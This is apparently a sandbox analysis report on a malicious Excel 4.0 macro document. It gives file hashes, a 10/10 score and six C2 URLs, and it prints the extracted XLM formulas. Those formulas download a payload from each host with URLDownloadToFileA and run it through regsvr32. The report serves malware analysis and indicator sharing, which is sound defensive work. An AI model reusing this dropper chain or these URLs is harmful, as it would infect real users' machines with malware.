df8803f6d4c96df851e9b13c28f2660aa58ab832fba4770b07231aa3fb61be0a

General

Target

df8803f6d4c96df851e9b13c28f2660aa58ab832fba4770b07231aa3fb61be0a
Size

45KB
Sample

241121-ag36yawpbs
MD5

9e7c507e621231b657e36150e5730380
SHA1

8e0dfb8244383a34bcc54c568fac19d9db125b17
SHA256

df8803f6d4c96df851e9b13c28f2660aa58ab832fba4770b07231aa3fb61be0a
SHA512

aada98d62b1ee14169680443db0d17edf55f4c4295e5b704f8021bfb19315257d271150e6a839ac8a018209fa24889e661fddfa0cd3430960c4072e1bbdb9954
SSDEEP

768:K+oDxDOevZCwrvt8zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Ud0U2XCnM:VoDxD8tT5fTR4Lh1NisFYBc3cr+U2USz

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/

http://aetoaluminium.com/wp-admin/gkqyKlzXoc/

http://24studypoint.com/wp-admin/3uEUtb/

https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/

https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/

http://kiski023.com/wp-includes/Requests/Cookie/C/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aetoaluminium.com/wp-admin/gkqyKlzXoc/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://24studypoint.com/wp-admin/3uEUtb/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kiski023.com/wp-includes/Requests/Cookie/C/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/

xlm40.dropper

http://aetoaluminium.com/wp-admin/gkqyKlzXoc/

xlm40.dropper

http://24studypoint.com/wp-admin/3uEUtb/

xlm40.dropper

https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/

xlm40.dropper

https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/

xlm40.dropper

http://kiski023.com/wp-includes/Requests/Cookie/C/